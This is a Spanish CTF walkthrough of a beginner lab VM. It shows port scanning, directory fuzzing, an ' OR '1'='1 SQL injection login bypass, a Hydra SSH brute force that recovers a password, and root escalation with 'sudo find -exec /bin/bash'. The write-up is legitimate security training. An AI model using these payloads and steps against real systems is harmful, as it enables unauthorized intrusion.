CTF-Botana de Calamares
Guía en Texto del CTF Botana de Calamares de The Hacker Labs
Esta guía incluye la enumeración de puertos, técnicas de recopilación de información, acceso, y escalamiento de privilegios.
Índice
1.1Detalles de la máquina virtual
2.1Conectividad
3.Obtener Acceso - Exploración y Explotación de Vulnerabilidades
3.2Fuzzing al sitio web (Dirb/Dirsearch)
6.Observaciones y Recomendaciones
1. Botana de Calamares
1.1 Detalles de la máquina virtual
Botana de Calamares es una máquina virtual proporcionada por la plataforma web de CTFs The Hacker Labs. Agradecemos su contribución y apoyo a la comunidad, lo cual nos permite seguir creciendo y aprendiendo sobre este apasionante mundo de la ciberseguridad Ofensiva. Visitalos: The Hacker Labs
Después de descargar la máquina virtual, obtendrás un archivo .ova. Al ejecutarlo, este archivo desplegará la máquina virtual en VMware o VirtualBox, y se le asignará automáticamente una dirección IP de la red en la que estás trabajando.
Vm name | Ip Adress | Creators | Level |
---|---|---|---|
Botana de Calamares | 192.168.1.49 | The Hacker Labs | Principiante |
2. Reconocimiento
2.1 Conectividad
Lo primero que debemos hacer es verificar el acceso al escenario. Para ello, validamos la conectividad desde nuestra máquina virtual hacia el objetivo. Una vez confirmada la conexión, podemos iniciar las pruebas de ethical hacking.
1
2
3
4
5
6
9 (192.168.1.49) 56(84) bytes of data.
64 bytes from 192.168.1.49: icmp_seq=1 ttl=64 time=2.45 ms
--- 192.168.1.49 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.454/2.454/2.454/0.000 ms
2.2 Escaneo y Enumeración
Utilizamos Nmap para recopilar información que podría ser empleada posteriormente en un ataque. En nuestra exploración, buscamos identificar las versiones de los servicios y el sistema operativo del objetivo. El comando utilizado fue nmap -sVC -T4 -p- 192.168.1.49
. Como resultado, observamos que el objetivo tiene los siguientes puertos abiertos: 22
,80
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# nmap -sVC -T4 -p- 192.168.1.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 08:33 EST
Nmap scan report for 192.168.1.49
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a6:3f:47:73:4c:6d:b3:23:29:fa:f8:1f:1d:42:44:b9 (ECDSA)
|_ 256 11:b8:dc:df:a9:c1:9f:b5:8f:55:93:a4:ef:65:c8:d5 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: AFN
|_http-server-header: nginx/1.24.0 (Ubuntu)
MAC Address: 00:0C:29:F8:BD:DF (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds
3. Obtener Acceso - Exploración y Explotación de Vulnerabilidades
3.1 Validación del sitio web
Dado que el puerto 80 está abierto, procederemos a examinar el contenido del sitio web.
Observamos un artículo muy llamativo sobre SQL, por lo que procederemos a analizarlo
El apartado de vulnerabilidades es muy interesante; siempre es valioso recordar conceptos o aprender algo nuevo. Nos llevamos los apuntes.
1
2
usuario: admin
contraseña: "" o ";"
¿Pero cómo? Está bien, Está bien, tranquilo. Aquí vamos con el apartado que mas te gusta.
! Importante: Alto en Teoría
Si tienes estos conceptos claros, puedes adelantarte
¿Cómo podemos aprovechar esta pista: “” o “;”? Recordemos que, si una aplicación con un servicio SQL que está mal configurada o que carece de protección, puede ser víctima de una manipulación de consultas. Esto permitiría forzar la autenticación sin necesidad de ingresar una contraseña.
Ejemplo de consulta SQL original (vulnerable):
1
SELECT * FROM usuarios WHERE usuario = 'admin' AND contraseña = 'password';
La pista me recordó un conocido payload que se enseña al iniciar en el poderoso mundo del SQL Injection: ' OR '1'='1'
, diseñado para alterar la lógica de una consulta SQL en una base de datos vulnerable. Su objetivo principal es eludir mecanismos de autenticación o obtener acceso no autorizado a una aplicación web.
Ahora, Cómo afecta la consulta con ' OR '1'='1'
: Si un atacante introduce el siguiente valor en el campo de contraseña:
1
' OR '1'='1
La consulta SQL resultante sería:
1
SELECT * FROM usuarios WHERE usuario = 'admin' AND contraseña = '' OR '1'='1';
Como ‘1’=’1’ siempre es verdadero, la consulta devuelve todas las filas de la tabla, lo que puede permitir un inicio de sesión sin autenticación.
Ahora, ¿dónde aplicamos esto? Veamos qué más encontramos en esta web. Pasemos al fuzzing.
3.2 Fuzzing al sitio web (Dirb / Dirsearch)
El fuzzing es una técnica de prueba de seguridad utilizada para encontrar vulnerabilidades en aplicaciones y sistemas. Consiste en enviar entradas aleatorias, malformadas o inesperadas (llamadas “fuzz”) a una aplicación para detectar comportamientos no deseados, errores, fallos de seguridad, o vulnerabilidades.
Vayamos a hacer Fuzzing con Dirb.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# dirb http://192.168.1.49
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Feb 2 10:46:23 2025
URL_BASE: http://192.168.1.49/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.49/ ----
+ http://192.168.1.49/admin.php (CODE:200|SIZE:359)
==> DIRECTORY: http://192.168.1.49/images/
+ http://192.168.1.49/index.php (CODE:200|SIZE:4145)
---- Entering directory: http://192.168.1.49/images/ ----
-----------------
END_TIME: Sun Feb 2 10:46:33 2025
DOWNLOADED: 9224 - FOUND: 2
Encontramos algunos directorios interesantes, pero tras revisarlos, validamos que no contienen información relevante.
Por eso vamos a validar bien los resultados con otra herramienta para fuzzing, vamos con dirsearch.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# dirsearch -u http://192.168.1.49
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Downloads/reports/http_192.168.1.49/_25-02-02_10-55-27.txt
Target: http://192.168.1.49/
[10:55:27] Starting:
[10:55:39] 200 - 359B - /admin.php
[10:56:07] 301 - 178B - /images -> http://192.168.1.49/images/
[10:56:07] 403 - 2KB - /images/
[10:56:12] 200 - 2KB - /login.php
Task Completed
A diferencia del primer intento detectamos un login.php
, vamos a probar.
¿Recuerdan dónde dijimos que podríamos probar el payload de SQL Injection? Bueno, adivinen… :)
3.3 Acceso al portal
Probemos.
1
2
3
usuario: admin
contraseña: ' OR '1'='1
¡Estamos dentro!
Ahora, observamos que tenemos acceso a una lista de tareas. Vamos a revisarla.
Nos dice que tiene una nueva página web que esta codificada en base64 para que nadie pueda acceder y que es lee_archivos
.
Observamos la codificación. También podríamos hacerlo desde Kali, pero decidí hacerlo a través de un codificador en línea.
Colocamos el resulado en el explorador
Ahora con el usuario superadministrator
vamos a probar algo de fuerza bruta para ver si podemos encontrar la contraseña.
3.4 Fuerza Bruta con Hydra
Probaremos encontrar la contraseña de superadministrator
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# hydra -t 64 -l superadministrator -P rockyou.txt ssh://192.168.1.49 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-02 11:32:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task
[DATA] attacking ssh://192.168.1.49:22/
[22][ssh] host: 192.168.1.49 login: superadministrator password: princesa
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 17 final worker threads did not complete until end.
[ERROR] 17 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-02 11:32:53
¡Bingo! Encontramos la conseña princesa
4.Acceso al objetivo
Probamos las credenciales obtenidas en el servicio SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(root㉿v4lcyfer)-[/home/kali/Downloads]
└─# ssh superadministrator@192.168.1.49
superadministrator@192.168.1.49's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-51-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Feb 2 04:36:04 PM UTC 2025
System load: 0.16
Usage of /: 14.1% of 49.21GB
Memory usage: 32%
Swap usage: 0%
Processes: 219
Users logged in: 0
IPv4 address for ens33: 192.168.1.49
IPv6 address for ens33: 2001:1388:18a1:ab1a:20c:29ff:fef8:bddf
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Feb 2 12:24:10 2025 from 192.168.1.50
superadministrator@thehackerslabs-bocatacalamares:~$ whoami
superadministrator
superadministrator@thehackerslabs-bocatacalamares:~$ id
uid=1001(superadministrator) gid=1001(superadministrator) groups=1001(superadministrator),100(users)
superadministrator@thehackerslabs-bocatacalamares:~$
Vayamos por la primera flag 🚩.
1
2
3
4
5
superadministrator@thehackerslabs-bocatacalamares:~$ ls
flag.txt recordatorio.txt
superadministrator@thehackerslabs-bocatacalamares:~$ cat recordatorio.txt
Me han dicho que existe una pagina llamada gtfobins muy util para ctfs, la dejo aquí apuntada para recordarlo mas adelante.
superadministrator@thehackerslabs-bocatacalamares:~$
el contenido de la flag por su forma me parece que esta codificado en base64, de curiosidad vamos a ver si tiene algun contenido inteteresante.
1
2
3
┌──(root㉿v4lcyfer)-[/home/kali]
└─# echo "<contenido de la flag.txt>" | base64 -d
sudo -l
Nos muestra el comando sudo -l
, que raro xD
5. Escalamiento de Privilegios
Ya dentro del usuario superadministrator
vamos a escalar privilegios.
1
2
3
4
5
6
7
superadministrator@thehackerslabs-bocatacalamares:~$ sudo -l
Matching Defaults entries for superadministrator on thehackerslabs-bocatacalamares:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
(ALL) NOPASSWD: /usr/bin/find
superadministrator@thehackerslabs-bocatacalamares:~$
Para validar qué comandos podemos ejecutar como root, utilizamos sudo -l
, tal como nos recomendó la primera flag.
Observamos que podemos ejecutar el comando find
sin permisos de root. Ahora, debemos investigar si podemos obtener una shell con privilegios de root utilizando alguna configuración de este comando y aplicando ciertos parámetros.
El archivo recordatorio.txt nos recomendo la pagina Gtfobins el cual tiene un directorio muy amplio de binarios que nos ayudaran a escalar privilegios.
Pero en este caso casualmente ya tenia un binario de find
a la mano.
Fuente: Andrea Fortuna
Asi que vamos a utilizarlo.
1
2
3
4
5
6
superadministrator@thehackerslabs-bocatacalamares:~$ sudo find /etc/passwd -exec /bin/bash \;
root@thehackerslabs-bocatacalamares:/home/superadministrator# whoami
root
root@thehackerslabs-bocatacalamares:/home/superadministrator# id
uid=0(root) gid=0(root) groups=0(root)
root@thehackerslabs-bocatacalamares:/home/superadministrator#
Somos root
Ahora vamos por esa ultima flag 🚩.
1
2
3
4
root@thehackerslabs-bocatacalamares:/home/superadministrator# cd /root
root@thehackerslabs-bocatacalamares:~# ls
root.txt
root@thehackerslabs-bocatacalamares:~#
Obtenemos la ultima flag
6. Observaciones y Recomendaciones
Es importante no depender únicamente de una herramienta para obtener información. No está de más comparar los resultados con otras herramientas o incluso probar alguna nueva que nos proporcione un mayor alcance.
Como administradores de servicios, no podemos limitarnos a hacer clic en ‘siguiente’, ‘siguiente’. En este caso, explotamos una mala configuración en SQL que podría haberse prevenido para hacer el sistema más robusto.
Como buen especialista en seguridad ofensiva, nunca debemos olvidar que el secreto está en los detalles. Siempre debemos ser observadores, atentos y minuciosos con nuestras revisiones.
Siempre el agradecimiento a The Hacker Labs por el esfuerzo que hacen en la plataforma para que la comunidad pueda seguir aprendiendo en escenarios seguros.
Saludos!
!Hack the life!